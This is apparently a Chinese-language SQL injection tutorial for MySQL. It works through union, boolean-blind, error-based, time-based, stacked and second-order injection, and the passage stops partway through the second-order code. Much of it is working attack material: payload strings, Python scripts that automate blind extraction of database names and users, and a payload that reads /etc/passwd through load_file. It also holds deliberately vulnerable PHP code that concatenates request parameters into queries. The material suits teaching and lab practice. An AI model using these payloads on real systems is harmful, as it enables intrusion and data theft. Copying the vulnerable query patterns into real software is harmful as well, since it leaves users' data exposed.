SQL注入
所谓SQL注入，就是通过把SQL命令插入到Web表单 提交或输入域名或页面请求的查询字符串，最终达到欺骗服务器执行恶意的SQL命令。具体来说，它是利用现有应用程序，将（恶意的）SQL命令注入到后台数据库引擎执行的能力，它可以通过在Web表单中输入（恶意）SQL语句得到一个存在安全漏洞的网站上的数据库，而不是按照设计者意图去执行SQL语句。 [1] 比如先前的很多影视网站泄露VIP会员密码大多就是通过WEB表单递交查询字符暴出的，这类表单特别容易受到SQL注入式攻击 。
SQL注入原理
SQL注入产生需要满足两个条件：
参数带入数据库查询：传入的参数拼接到SQL语句，并且带入数据库查询。
MySQL相关知识点
在MySQL5.0版本之后，MySQL默认在数据库存放了一个information_schema的数据库，其中有如下三个表需要大家了解。
SCHEMATA
SCHEMATA表存储了用户创建的所有数据库的库名，我们可以通过查询展示这一过程。
Copy SELECT * FROM SCHEMATA
记录数据库库名的字段为SCHEMA_NAME
TABLES
TABLES 存储了用户创建的所有数据库的库名和表名，我们可以通过查询展示这一过程。
其中，TABLE_SCHEMA 记录了数据库的库名，TABLE_NAME 记录了表名。
COLUMNS
COLUMNS 存储了用户创建的所有数据库的库名、表名和字段名，我们可以通过查询展示这一过程。
Copy SELECT * FROM COLUMNS 其中，TABLE_SCHEMA 记录了数据库的库名，TABLE_NAME 记录了数据库的表名，COLUMN_NAME 记录了数据库的字段名。
MySQL查询语句
SELECT 要查询的字段名 FROM 库名.表名 WHERE 已知条件1的字段名='已知条件1的值' AND 已知条件2的字段名='已知条件2的值'
Limit
limit 使用格式为limit m,n 其中，m 是记录开始的位置，从0 开始，表示第一条记录，n 是取n 条记录，例如，limit 0,1 表示从第一条记录开始，取一条记录。
常用函数
注释符
MySQL中，常见的注释符有# 或者-- (注意空格）或者/**/ 。
内联注释
内联注释的形式：/*!code*/ ，内联注释可以用于整个SQL语句，用来执行我们的SQL语句。
SELECT* FROM `SCHEMATA` /*!UNION*/ /*!SELECT*/ 1,USER(),3,4,5
注入方式
MySQL隐式类型注入
MySQL隐式类型注入
Union注入
如下代码：
Copy if (mysqli_connect_errno())
{
echo "连接失败: " . mysqli_connect_error();
}
$id = $_GET['id'];
$result = mysqli_query($con,"select * from user where `id`=".$id);
while($row = mysqli_fetch_array($result))
{
echo $row['USERNAME'] . " " . $row['PASSWORD'];
echo "<br>";
}
?> 这里是一个正常的查询操作，但是由于没有进行任何的过滤，将参数直接拼接到了SQL语句中，语句也未进行预处理，并且$_GET 参数攻击者可控，因此攻击者可以利用SQL注入漏洞对系统发起攻击。
正常访问：
在id=1后面添加'
这里说明有可能存在SQL注入，为了进一步判别是否存在漏洞，我们要进行验证是否可以进行逻辑运算，比如我们访问id=1 and 1=1 ，由于1=1 为真，因此应返回与id=1 相同的页面，同样的，id=1 and 1=2 应返回不同的页面。
因此可以判断网站存在SQL注入漏洞，我们可以通过以下过程，通过漏洞模拟攻击者获得数据库相关信息。
判断可输出字段union select 1,2,...,num
说明一共有3个字段，接下来我们尝试哪个字段是可以输出的
说明位置2 和3 是可以输出的，替换我们想执行的操作，以user() 和database() 举例
可以得出当前用户是root用户，数据表为users 表，我们也可以通过控制id 参数，给其设定一个不存在的值，让其返回union select 的值
Boolean注入
如下代码：
Copy <?php
$con=mysqli_connect("localhost","root","root","users");
// 检测连接
if (mysqli_connect_errno())
{
echo "连接失败: " . mysqli_connect_error();
}
$id = $_GET['id'];
if (preg_match("/union|sleep|benchmark/i", $id)) {
exit("no");
}
$result = mysqli_query($con,"select * from user where `id`='".$id."'");
$row = mysqli_fetch_array($result);
if ($row) {
exit("yes");
}else{
exit("no");
}
?> 我们可以看到代码中还是通过get 方式获取id 的值，并且拼接到SQL语句中，但是前面做了一个正则匹配，如果检测到union 、sleep 、benchmark 就退出并返回no ，而且使用了i 修正符，因此会不区分大小写去文本中匹配 php，这意味着我们无法使用联合注入以及延时注入，并且是无法用大小写绕过的，后面的判断条件是如果SQL执行成功就会返回yes ，否则返回no ，这里可以判断为典型的boolean注入，我们可以使用如下过程模拟攻击者对系统发起攻击。
通过 ' and length(database())>=num --+ 判断数据库名称长度，由于我们可以看到id 参数被' 包围，因此我们先闭合前面的单引号，使得后面我们的payload 得以正常执行。
通过 ' and substr(database(),1,1)='t' --+ 逐字符判断的方式（不区分大小写）获取数据库名或通过 ' and ord(substr(database(),1,1)) = 115 --+使用ASCII 转换函数ord 逐字符判断，这里里substr 是截取database() 的值，从第1 个字符开始，每次只返回1 个，这里不要与上面的limit 弄混，limit 是从0 开始排序的。
当我们测试数据库长度大于等于6 时，报了no ，说明数据库长度为5
当我们测试数据库第一个字符为u 时，报了yes ，说明数据库库名第一个字母为u ，我们可以写一个python脚本，来代替我们实现这一繁琐的过程。
Copy import requests
url = 'http://127.0.0.1/boolean.php?id=1'
for num in range(0,10):
length_check_poc = "' and length(database())>=" + str(num) + " --+"
r = requests.get(url + length_check_poc)
if r.text == 'no':
print('[+]数据库库名长度为： ' + str(num-1))
exit() 我们可以看到数据库库名长度为5
Copy import requests
url = 'http://127.0.0.1/boolean.php?id=1'
poc_str = 'abcdefghijklmnopqrstuvwxyz0123456789'
for num in range(1,6):
for char in poc_str:
str_check_poc = "' and substr(database(),"+ str(num) +",1)='" + char + "' --+"
r = requests.get(url + str_check_poc)
if r.text == 'yes':
print('[+]数据库库名第'+ str(num) +'个字符为' + char)
break 我们可以看到数据库库名每个字符是什么，拼接到一起即数据库库名为users
同样的，如果substr() 被禁用了，我们也可以使用MID() 或者LEFT() 来实现上述过程。
SELECT MID(database(),1,1);
SELECT left(database(),1);
除了上述使用函数的方法之外，其实我们还可以采用正则匹配 的方法来进行注入，因为是支持正则表达式的，比如我们可以使用：
select user() regexp '^[a-z]';
我们的数据库用户是root ，比如这里我们可以用正则表达式逐位判断是否用户名都是由小写字母组成的以及每一位是什么，比如，我们猜解第一位，当我们猜测正确时，返回值为1：
select user() regexp '^r[a-z]';
当我们猜测不正确时，返回值为0 ：
select user() regexp '^x[a-z]';
由此我们就可以逐位猜解每个位置上的字母：
Copy select user() regexp '^r[a-z]';
select user() regexp '^ro[a-z]';
select user() regexp '^roo[a-z]';
select user() regexp '^root[a-z]';
...
select user() regexp '^root@localhost$'; POC：
Copy 0' and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="test" AND user() REGEXP '^^r' LIMIT 0,1) --+
0' and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="test" AND user() REGEXP '^^ro' LIMIT 0,1) --+
...
0' and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="test" AND user() REGEXP '^^root@localhost$' LIMIT 0,1) --+ 同样的，我们可以写成脚本来代替我们进行操作：
Copy import requests
result_list = []
poc_str = 'abcdefghijklmnopqrstuvwxyz0123456789!@#$'
while True:
for char in poc_str:
str_check_poc = r"http://127.0.0.1/boolean.php?id=0%27%20and%201=(SELECT%201%20FROM%20information_schema.tables%20WHERE%20TABLE_SCHEMA=%22test%22%20AND%20user()%20REGEXP%20%27^^"+ ''.join(result_list) + char +"%27%20LIMIT%200,1)%20--+"
r = requests.get(str_check_poc)
if r.text == 'yes':
result_list.append(char)
break
if result_list[-1] == '$':
exit(0)
print('当前数据库用户为：' + ''.join(result_list) + '\n') 在MySQL中，与上述正则类似，我们还可以用like 匹配
select user() like 'ro%'
注意：
Copy MSSQL所用的正则表达式并不是标准正则表达式 ，该表达式使用 like关键词
default.asp?id=1 AND 1=(SELECT TOP 1 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" and table_name LIKE '[a-z]%' )
该查询语句中，select top 1 是一个组合哦，不要看错了。
如果要查询其它的表名，由于不能像mysql哪样用limit x,1，只能使用 table_name not in (select top x table_name from information_schema.tables) 意义是：表名没有在前x行里，其实查询的就是第x+1行。
例如 查询第二行的表名：
default.asp?id=1 AND 1=(SELECT TOP 1 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" and table_name NOT IN ( SELECT TOP 1 table_name FROM information_schema.tables) and table_name LIKE '[a-z]%' )
表达式的顺序：
'n[a-z]%' -> 'ne[a-z]%' -> 'new[a-z]%' -> 'news[a-z]%' -> TRUE
之所以表达式 news[a-z]查询后返回正确是应为%代表0-n个字符，使用"_"则只能代表一个字符。故确认后续是否还有字符可用如下表达式
'news%' TRUE -> 'news_' FALSE
同理可以用相同的方法获取字段，值。这里就不再详细描述了。 报错注入
如下代码：
Copy <?php
$con=mysqli_connect("localhost","root","root","users");
// 检测连接
if (mysqli_connect_errno())
{
echo "连接失败: " . mysqli_connect_error();
}
$username = $_GET['username'];
if($result = mysqli_query($con,"select * from user where `USERNAME`='".$username."'")){
echo "ok";
}else{
echo mysqli_error($con);
}
?> 从代码得知，只要是数据库连接正常，SQL语句正常执行，就会返回ok ，否则返回数据库连接错误信息，并显示到页面上，所以我们使用以下过程来模拟攻击者攻击的过程。
Duplicate entry报错：
这是由于多次查询插入重复键值导致count报错从而在报错信息中带入了敏感信息。
Payload：
Copy zhangsan' and(select 1 from (select count(*) ,concat(user(),floor(rand(0)*2))x from test.test group by x)a) --+ 这其中有一个很奇特的现象就是，我们看到POC中有rand(0) ，在经过测试后发现，当数据表中有1条数据时，rand() 与rand(0) 均不报错，在数据表中有2 条数据时，rand() 随机报错，rand(0) 不报错，在数据表中有3条及以上数据时，rand() 随机报错，rand(0) 稳定报错，在探究这个报错原因之前，我们需要了解以下几个函数：
这里主要是探究一下rand() 和rand(0) 的区别，我们都知道rand() 是随机产生一个0~1的随机数，那么rand(0) 呢？
我们首先看一下rand() ，我们执行如下语句。
SELECT`floor(rand()*2) FROMtest```
我们发现在执行多次后，结果符合随机要求，那么我们再看一下rand(0) ，执行如下语句。
SELECT`floor(rand(0)*2) FROMtest```
我们发现，不论执行多少次，他的序列始终是一个固定值，按照011011... 排列，我们可以看到报错内容是Duplicate entry '15.5.53' for key 'group_key'，意思是说group_key条目重复，需要了解的是当我们使用group by进行分组查询的时候，数据库会生成一张虚拟表，整个过程是这样的，开始查询数据，取数据库数据，然后查看虚拟表是否存在，不存在则插入新记录，存在则count(*)字段直接加1，在这张虚拟表中，group by后面的字段作为主键，MySQL官方有给过提示，就是查询的时候如果使用rand()的话，该值会被计算多次，就是第一次是将group by后面的字段值到虚拟表中拿去对比前，首先获取group by后面的值；第二次是假设group by后面的字段的值在虚拟表中不存在，那就需要把它插入到虚拟表中，这里在插入时会进行第二次运算。
那么我们在看整个过程如下：
查询前，默认建立空的虚拟表如下：
取第一次记录的时候，首先执行floor(rand(0)*2) ，我们从rand(0) 的图中也可以知道，第一次值为0 ，表中不存在，则继续执行插入操作，在插入操作的时候，进行了第二次运算，同理我们从图中得知，值为1 ，插入虚表的key中，由于是第一条数据，所以count(*) 的值也为1 ，此时第一条信息查询完毕，结果如下。
接下来查询第二条记录的时候，再次计算floor(rand(0)*2) ，从图中得知，已经进行到了第三次运算，它的值是1 ，这时候发现数据已经存在，所以不再运算，count(*) 的值直接加1 ，此时结果如下。
接下来查询第三条记录，再次计算floor(rand(0)*2) ，从图中得知，已经进行到了第四次运算，它的值是0 ，虚拟表中没有响应的键值，则准备进行插入操作，进行了第五次运算，它的值为1 ，然而1 这个主键已经存在于虚拟表中，由于键值必须唯一，因此导致报错。
从而我们也得知了为什么前面解释的数据量不同，rand() 与rand(0) 会有不同的反响。由于rand() 本身的随机性，因此有几率触发报错，而rand(0) 的稳定序列011011... 导致其在3 条数据以上稳定报错。
在研究明白上面的过程后，我们已经可以得到我们想要的Duplocate entry错误了，接下来就是加入我们的子查询了，我们用concat() 拼接，比如我们想要查询数据库的用户，命令如下。
select count(*) ,concat(user(),floor(rand(0)*2))x from test group by x
我们可以看到已经看到想要的内容了，那么是不是直接拼接到后面就行了呢？
Copy SELECT * FROM test WHERE name = 'ddd ' and select count(*) ,concat(user(),floor(rand(0)*2))x from test group by x -- ' 结果是不行的，因为我们在数据库中的代码如上，
我们构建的select语句的结果是一个结果表，而and需要一个布尔值，也就是0或非零的值，所以我们需要再嵌套一个查询，由于select 的结果是一个结果表，那我们就可再从这个表执行查询，这不过这次select的值是非零数字：
Copy zhangsan' and(select 1 from (select count(*) ,concat(user(),floor(rand(0)*2))x from test.test group by x)a) --+ 到此我们也就完成了我们的报错注入。
当然我们也发现，这个poc中需要知道数据库相应的表名test.test ，那么如果我们不知道关键表名或者关键表名被禁用了怎么办呢？
我们可以使用如下语句来进行注入：
select count(*) from (select 1 union select null union select !1)a group by concat(version(),floor(rand(0)*2))
换成POC：
zhangsan' and(select 1 from (select count(*) from (select 1 union select null union select !1)a group by concat(version(),floor(rand(0)*2)))a) --+
这里我们首先需要知道如下规则：
将多个不同的select语句执行的结果合并到一个结果集并返回
返回null本身的“值”。NULL是mysql中的一个常量，表示“没有值”，不是空字符串或0。
逻辑非，非真即假，mysql中使用数字值1、0代表true和false，可用“SELECT TRUE, FALSE;”验证
其次，我们也要清楚，select 可以当作运算器，例如：
Copy mysql> select 1+1; //加法
+-----+
| 1+1 |
+-----+
| 2 |
+-----+
mysql> select pow(2,3); //指数运算，2的3次方
+----------+
| pow(2,3) |
+----------+
| 8 |
+----------+
mysql> select !0; //逻辑非
+----+
| !0 |
+----+
| 1 |
+----+
mysql> select 1 & 1; //按位与
+-------+
| 1 & 1 |
+-------+
| 1 |
+-------+
mysql> set @a=10,@b=5; //变量赋值后再运算
mysql> select @a+@b;
+-------+
| @a+@b |
+-------+
| 15 |
+-------+ 因此语句的最终结果为：
Copy mysql> SELECT 1 UNION SELECT null UNION SELECT !1;
+------+
| 1 |
+------+
| 1 |
| NULL |
| 0 |
+------+ 与上同理，正好满足三条的需要，最终多次查询插入重复键值导致count报错从而在报错信息中带入了敏感信息。
如果rand 被禁用了，我们可以通过用户变量来报错：
select min(@a:=1) from information_schema.tables group by concat(version(),@a:=(@a+1)%2);
这里我们需要注意，由于浏览器会进行urlencode ，所以我们语句中的+ 会被转为空格 ，会导致我们的语句无法正常的传入数据库，因此我们需要用%2b 替换+ ，因此最终POC如下：
ddd%20%27%20and%20(select%20min(@a:=1)%20from%20test%20group%20by%20concat(version(),@a:=(@a%2b1)%2))%20--+
Xpath报错：
MySQL 5.1.5版本中添加了对XML文档进行查询和修改的两个函数：extractvalue、updatexml
通过这两个函数可以完成报错注入。
由官网文档可知， ExtractValue(xml_frag, xpath_expr) 有两个字符串参数， 一个XML标记片段 xml_frag和一个XPath表达式 xpath_expr（也称为定位器）; 它返回CDATA第一个文本节点的text()，该节点是XPath表达式匹配的元素的子元素。
例如：SELECT ExtractValue('<a><b><b/></a>', '/a/b'); 就是寻找前一段xml文档内容中的a节点下的b节点，这里如果Xpath格式语法书写错误的话，就会报错。这里就是利用这个特性来获得我们想要知道的内容， 注意：extractvalue()能查询字符串的最大长度为32，就是说如果我们想要的结果超过32，就需要用substring()函数截取，一次查看32位，且不支持低版本 MySQL。
比如我们输入：
Copy SELECT ExtractValue('<a><b><b/></a>', '~'); 会引发错误：
我们仍然可以利用concat函数将想要获得的数据库内容拼接到第二个参数中，报错时作为内容输出。
Copy SELECT ExtractValue('<a><b><b/></a>',concat('~',(SELECT version()))); 这时我们已经可以在报错信息中看到版本号了：
POC：
Copy ddd%27and%20(extractvalue(1,concat(0x26,(version()),0x26)));--+ UpdateXML(xml_target, xpath_expr, new_xml) ，由官网文档可知，此函数用来更新选定XML片段的内容，将XML标记的给定片段的单个部分替换为 xml_target 新的XML片段 new_xml ，然后返回更改的XML。xml_target替换的部分 与xpath_expr 用户提供的XPath表达式匹配。
如果xpath_expr未找到表达式匹配 ，或者找到多个匹配项，则该函数返回原始 xml_targetXML片段。所有三个参数都应该是字符串。使用方式如下：
Copy SELECT
UpdateXML('<a><b>ccc</b><d></d></a>', '/a', '<e>fff</e>') AS val1,
UpdateXML('<a><b>ccc</b><d></d></a>', '/b', '<e>fff</e>') AS val2,
UpdateXML('<a><b>ccc</b><d></d></a>', '//b', '<e>fff</e>') AS val3,
UpdateXML('<a><b>ccc</b><d></d></a>', '/a/d', '<e>fff</e>') AS val4,
UpdateXML('<a><d></d><b>ccc</b><d></d></a>', '/a/d', '<e>fff</e>') AS val5 同理，和上面的extractvalue函数一样，当Xpath路径语法错误时，就会报错，报错内容含有错误的路径内容：
Copy SELECT UPDATEXML('test',concat('~',(SELECT version())),'test') POC：
Copy ddd'and (SELECT UPDATEXML('test',concat('~',(SELECT version())),'test'));--+ 同extractvalue()函数，updatexml()函数能查询字符串的最大长度也是32，如果超过则也需要使用substring()函数截取，一次查看32位。
整形溢出报错：
在BIGINT Overflow Error Based SQL Injection 中，作者发现当MySQL版本在5.5.5 及其以上时，会存在BIGINT溢出 的现象（实测5.5.29 复现成功，5.7.26 以及8.0.12 失败，当mysql版本>5.5.53时，无法利用exp()函数）
数据类型对应的范围如下：
也就是说如果我们使用例如加法 的运算表达式使得数值超越了最大值，就会触发BIGINT value is out of range” error
例如：
Copy SELECT 18446744073709551615 + 1 ; 我们如果对0 取反，就会得到这个BIGINT的最大值18446744073709551615
因此，我们对~0 进行加减操作同样会造成溢出。
因此我们只需要利用子查询引起BITINT溢出，从而设法提取数据。我们知道，如果一个查询成功返回，其返回值为0，所以对其进行逻辑非的话就会变成1 。
例如：
Copy select (select*from(select user())x);
Copy select !(select*from(select user())x); 由上我们就可以组合进行注入了：
Copy select ~0+!(select*from(select user())x); 我们已经成功的注入出了用户为root 。
但是我们一定要注意，+ 在浏览器中会被编码为空格 ，因此我们可以使用- 替换+ 或者用%2b 替换+ 。
Copy select !(select*from(select user())x) - ~0 与之类似的还有如下POC：
Copy (select(!x-~0)from(select(select user())x)a)
(select!x-~0.from(select(select user())x)a) 由于对函数也可以进行取反操作，所以以下方式也是可以的：
Copy select !atan((select*from(select user())a))-~0;
select !ceil((select*from(select user())a))-~0;
select !floor((select*from(select user())a))-~0; 作者经过测试，发现以下函数都是可以的（包括但不限于）：
Copy HEX
IN
FLOOR
CEIL
RAND
CEILING
TRUNCATE
TAN
SQRT
ROUND
SIGN 在发现BIGINT 溢出之后，作者发现，当传递一个大于709的值时，函数exp()就会引起一个溢出错误。 exp()即为以e为底的对数函数，如等式：
Copy select exp(2.70805020110221) 当涉及到注入时，我们使用否定查询来造成“DOUBLE value is out of range”的错误。作者之前的博文提到的，将0按位取反就会返回“18446744073709551615”，再加上函数成功执行后返回0的缘故，我们将成功执行的函数取反就会得到最大的无符号BIGINT值。
Copy select exp(~(select*from(select user())x)); 你可以通过load_file()函数来读取文件，但作者发现有13行的限制，该语句也可以在BIGINT overflow injections中使用。
Copy select exp(~(select*from(select load_file('/etc/passwd'))a)); 注意，你无法写文件，因为这个错入写入的只是0。
Copy mysql> select exp(~(select*from(select 'hello')a)) into outfile 'C:/out.txt';
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'hello' from dual)))'
# type C:\out.txt
0 数据重复报错：
在MySQL中，列名重复会报错，所以name_const()函数就是利用这一特性，重新定义一个重复的列名来让数据库报错。
Copy name_const(name,value)
返回给定值。 当用来产生一个结果集合列时, name_const()促使该列使用给定名称。 因此我们可以利用这一特点来利用报错带出我们的信息：
Copy select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x 或者可以利用join 来查询
Copy select * from (select * from(select name_const(version(),0)) a join (select name_const(version(),0))b)c; 几何函数报错：
mysql有些几何函数，例如：
geometrycollection()，multipoint()，polygon()，multipolygon()，linestring()，multilinestring()，这些函数对参数要求是形如(1 2,3 3,2 2 1)这样几何数据，如果不满足要求，则会报错。经测试，在版本号为5.5.47上可以用来注入，而在5.7.17上则不行：
Copy select multipoint((select * from (select * from (select version())a)b));
select GeometryCollection((select * from (select * from (select version())a)b));
select polygon((select * from (select * from (select version())a)b));
select * from user where id=1 and multipolygon((select * from(select * from(select user())a)b));
select * from user where id=1 and linestring((select * from(select * from(select user())a)b));
select * from user where id=1 and multilinestring((select * from(select * from(select user())a)b)); 延时注入：
如下代码：
Copy <?php
$con=mysqli_connect("localhost","root","root","test");
// 检测连接
if (mysqli_connect_errno())
{
echo "连接失败: " . mysqli_connect_error();
}
$id = $_GET['id'];
if (preg_match("/union/i", $id)) {
exit("<htm><body>no</body></html>");
}
$result = mysqli_query($con,"select * from user where `id`='".$id."'");
$row = mysqli_fetch_array($result);
if ($row) {
exit("<htm><body>yes</body></html>");
}else{
exit("<htm><body>no</body></html>");
}
?> 我们可以看到，程序获取GET 参数ID ，通过preg_match 判断参数ID 中是否存在UNION 危险字符，将参数ID 拼接到SQL语句中，从数据库中查询SQL语句，成功会返回yes ，否则会返回no ，除了用boolean注入 的方式之外，我们还可以利用时间注入 的方式，这样我们就可以解决一些类似于页面无回显 ，无报错信息 甚至是无法用布尔判断真假 的情况， 提交对执行时间铭感的函数sql语句，通过执行时间的长短来判断是否执行成功，比如：正确的话会导致时间很长，错误的话会导致执行时间很短，这就是所谓的延时注入，属于盲注的一种类型。我们可以使用sleep() 或者benchmark 等方法来验证是否存在注入。
sleep()：
Copy SLEEP(duration)
Sleeps (pauses) for the number of seconds given by the duration argument, then returns 0. The duration may have a fractional part. If the argument is NULL or negative, SLEEP() produces a warning, or an error in strict SQL mode. 我们可以看到这是一个休眠函数，我们对duration 参数设定相应的参数值，就会执行相应的休眠操作。
这时候我们就可以结合IF() 函数来结合进行判断。
Copy IF(expr1,expr2,expr3) if 函数的语句如上，即如果expr1 为真，则返回值为expr2 ，否则为expr3 。
因此我们可以利用：
Copy if(length(database())>1,sleep(5),1) 来进行判断，即如果数据库名称的长度大于1，则休眠5 秒，否则查询1 。
POC：
Copy 1 ' and if(length(database())>1,sleep(5),1) --+ 我们可以看到，当判断数据库名称长度>1 时，完成时间在5 秒左右。
而当条件改成>10 的时候，完成时间只有115 毫秒。
说明数据库名称长度在1~10 之间，我们同样可以写一个脚本来完成数据库长度的遍历工作。
Copy import requests
import time
for num in range(0,10):
url = r'http://127.0.0.1/time.php?id=1%20%20%27%20and%20if(length(database())%3C='+ str(num) + ',sleep(5),1)%20--+'
start = time.clock()
r = requests.get(url)
elapsed = (time.clock() - start)
if elapsed >= 3:
print('数据库长度为：' + str(num))
exit() 同样的，我们也可以用之前的substr() 等函数来进行爆字符的操作。
POC：
Copy id=1%20%20%27%20and%20if(ord(substr(database(),1,1))=116,sleep(5),1)%20--+ 我们这里首先了解如下函数
ORD(string)
ORD() 函数返回字符串第一个字符的 ASCII 值。
我们可以看到t 的ascii值为116 ，我们可以优化以下我们的脚本，来爆出数据库名称。
Copy import requests
import time
for i in range(1,5):
for num in range(27,122):
url = r'http://127.0.0.1/time.php?id=1%20%20%27%20and%20if(ord(substr(database(),'+str(i)+',1))='+str(num)+',sleep(5),1)%20--+'
start = time.clock()
r = requests.get(url)
elapsed = (time.clock() - start)
if elapsed >= 3:
print('数据库名称第'+ str(i) + '位为：' + chr(num))
break 至此，我们已经得到数据库名称test 。
同样的，我们也可以利用benchmark() 函数来完成同样的操作，首先我们先了解一下这个函数是做什么的。
Copy BENCHMARK(count,expr) BENCHMARK()用于测试函数的性能，参数一为次数，二为要执行的表达式。可以让函数执行若干次，返回结果比平时要长，通过时间长短的变化，判断语句是否执行成功。（这是一种边信道攻击，在运行过程中占用大量的cpu资源。）
Copy select benchmark(25000000,md5('test')) 我们可以看到，消耗时间为5.6445 秒。
POC：
Copy 1%20 ' and if(ord(substr(database(),1,1))=116,benchmark(25000000,md5('test')),1) --+ 我们只需将代码中的sleep() 相应的benchmark 即可。
Copy import requests
import time
for i in range(1,5):
for num in range(27,122):
url = r'http://127.0.0.1/time.php?id=1%20%20%27%20and%20if(ord(substr(database(),'+str(i)+',1))='+str(num)+',benchmark(25000000,md5("test")),1)%20--+'
start = time.clock()
r = requests.get(url)
elapsed = (time.clock() - start)
if elapsed >= 3:
print('数据库名称第'+ str(i) + '位为：' + chr(num))
break 之前做过一个中科院的题目，其中将sleep 和benchmark 都禁用了，当时查资料的时候发现了一些其他的方式，这里借用pwnhub的代码：
Copy <?php
require 'conn.php';
$id = $_GET['id'];
if(preg_match("/(sleep|benchmark|outfile|dumpfile|load_file|join)/i", $_GET['id']))
{
die("you bad bad!");
}
$sql = "select * from article where id='".intval($id)."'";
$res = mysql_query($sql);
if(!$res){
die("404 not found!");
}
$row = mysql_fetch_array($res, MYSQL_ASSOC);
mysql_query("update view set view_times=view_times+1 where id = '".$id." '");
?> 我们可以看到在$sql我们传入的参数会被强转int，这里显然就不存在注入了，然而下面update 处直接拼接到了SQL语句中，报错被禁止，因此不能进行报错注入，load_file 被禁用，而且不知道是不是root 权限，因此dns_log 方法也放弃，又因为页面没有回显，因此普通注入也无法进行，唯一剩下延时注入，其中sleep 与benchmark 均被禁用，所以我们需要找到其他的延时函数。
通过查询资料，我们发现有如下几种方法。
笛卡尔积：
这种方法又叫做heavy query，原理就如方法的名字：大负荷查询 即用到一些消耗资源的方式让数据库的查询时间尽量变长 而消耗数据库资源的最有效的方式就是让两个大表做笛卡尔积，这样就可以让数据库的查询慢下来 而最后找到系统表information_schema数据量比较大，可以满足要求，所以我们让他们做笛卡尔积。
例如：
Copy select count(*) from information_schema.columns, information_schema.columns T1,information_schema.columns T2 我们可以看到，通过不断地让大表做笛卡尔积，时间也在增加，达到我们延时的目的。
GET_LOCK
我们可以先看一下文档中是怎么描述的：
GET_LOCK(str,timeout)
Tries
to obtain a lock with a name given by the string str, using a timeout of
timeout seconds. A negative timeout value means infinite timeout. The lock is
exclusive. While held by one session, other sessions cannot obtain a lock of
the same name.
get_lock是MySQL的锁机制，我们可以看到其中描述写道“当一个会话持有时，其他会话无法获取同样的名字。”，get_lock会按照str来加锁，别的客户端再以同样的str加锁时就加不了了，处于等待状态。 当调用release_lock来释放上面加的锁或客户端断线了，上面的锁才会释放，其它的客户端才能进来。也就是说我们可以通过在一个session中可以先锁定一个变量例如：select get_lock('do9gy',1)
然后通过另一个session 再次执行get_lock函数 select get_lock('do9gy',5)，此时会产生5 秒的延迟，其效果类似于sleep(5)。
所以我们的攻击过程如下 先上锁 再进行盲注
先执行 1' and get_lock(1,2)%23 给key=1上锁
等待1-2分钟，让服务器将我们下一次的查询当做客户B
然后就可以盲注了 1' and if(1,get_lock(1,2),1)%23 再次执行同样的语句会产生延时
我们可以看到，我们通过这种方式，已经获得了延时的效果。
但是需要注意的是，这种方法的使用情况有限，即长连接 一般在php5版本系列中，我们建立与Mysql的连接使用的是mysql_connect()，题中使用的是
Copy $con = mysql_pconnect("mysql",$_ENV['MYSQL_USER'],$_ENV['MYSQL_PASSWORD']); 这两者的区别如下：
因此，如果使用的是mysql_connect() ， mysql_connect()一结束，就会立刻关闭连接，这就意味着，我们刚刚对资源d09gy加完锁就立刻断开了，我们get_lock() 的利用条件也就被破坏了。即第一次加锁后，需要等待1~2分钟，再访问的时候服务器就会判断你为客户B，而非之前加锁的客户A 此时即可触发get_lock()。
RLIKE
通过rpad或repeat构造长字符串，加以计算量大的pattern，通过repeat的参数可以控制延时长短。
我们同样也得到了延时的效果。
堆叠注入：
我们知道，数据库基本操作有“增删改查”，我们前面说过的注入都是对原来sql语句传输数据的地方进行相关修改，注入情况会因为该语句本身的情况而受到相关限制，例如一个select语句，那么我们注入时也只能执行select操作，无法进行增、删、改。因此我们可以利用堆叠注入，可以堆一堆sql注入进行注入，这个时候我们就不受前面语句的限制可以为所欲为了。其原理也很简单，就是将原来的语句构造完后加上分号，代表该语句结束，后面在输入的就是一个全新的sql语句了，这个时候我们使用增删查改毫无限制。
注意：堆叠注入受到API或者数据库引擎（例如oracle不能使用堆叠注入），又或者权限的限制，使用情况有限，比如：mysqli_multi_query()函数就支持多条sql语句同时执行，而现实中，PHP为了防止sql注入机制，往往使用调用数据库的函数是mysqli_ query()函数，其只能执行一条语句，分号后面的内容将不会被执行。
Copy SELECT * FROM `user` ; insert into user(id,name) value (66,'test') 如下代码：
Copy <?php
try {
$conn = new PDO("mysql:host=localhost;dbname=test", "root", "root");
$conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
$stmt = $conn->query("SELECT * FROM user where `id` = '" . $_GET['id'] . "'");
$result = $stmt->setFetchMode(PDO::FETCH_ASSOC);
foreach($stmt->fetchAll() as $k=>$v) {
foreach ($v as $key => $value) {
echo $value;
}
}
$dsn = null;
}
catch(PDOException $e)
{
echo "error";
}
$conn = null;
?> 这里我们可以看到，程序获得GET 参数ID ，使用PDO 的方式进行数据查询，但是仍然将参数ID 直接拼接到了查询语句中，PDO 没有起到预编译的效果，仍存在注入。
POC：
Copy 1'; insert into user(id,name) value (77,'tttt')--+ 我们可以看到数据已经注入进数据库了，我们也可以利用sleep() 等函数，将判断语句加入POC来得到我们想要的信息。
Copy 1'; select if (substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1) = 't', sleep(3),1) --+ 我们执行过后，发现程序延时了3 秒，说明数据库名称第一位为t ，此内容已在上文详细阐述，此处不再重复。
二次注入：
为了防止sql注入的产生，很多开发人员会对数据进行转义操作，然而如果在取出时，没有做相应的操作，就会产生二次注入的风险。
如下代码：
Copy <?php
header("Content-Type:text/html;charset=utf8");
$con=mysqli_connect("localhost","root","root","test");
mysqli_set_charset($con,'utf8');
if(!$con){
echo "Connect failed : ".mysqli_connect_error();
}
$username=$_GET['username'];
$password=$_GET['password'];
$result=mysqli_query($con,"insert into users(username,password) values('".addslashes($username)."','".md5($password)."')");
echo "id为:".mysqli_insert_id($con)
?>
Copy <?php
header("Content-Type:text/html;charset=utf8");
$con=mysqli_connect("localhost","root","root","test");
mysqli_set_charset($con,'utf8');
if(!$con){
echo "Connect failed : ".mysqli_connect_error();
}
$id=intval($_GET['id']);
$result=mysqli_query($con,"select * from users where id='".$id."'");
$row=mysqli_fetch_array($result);
$username=$row['username'];
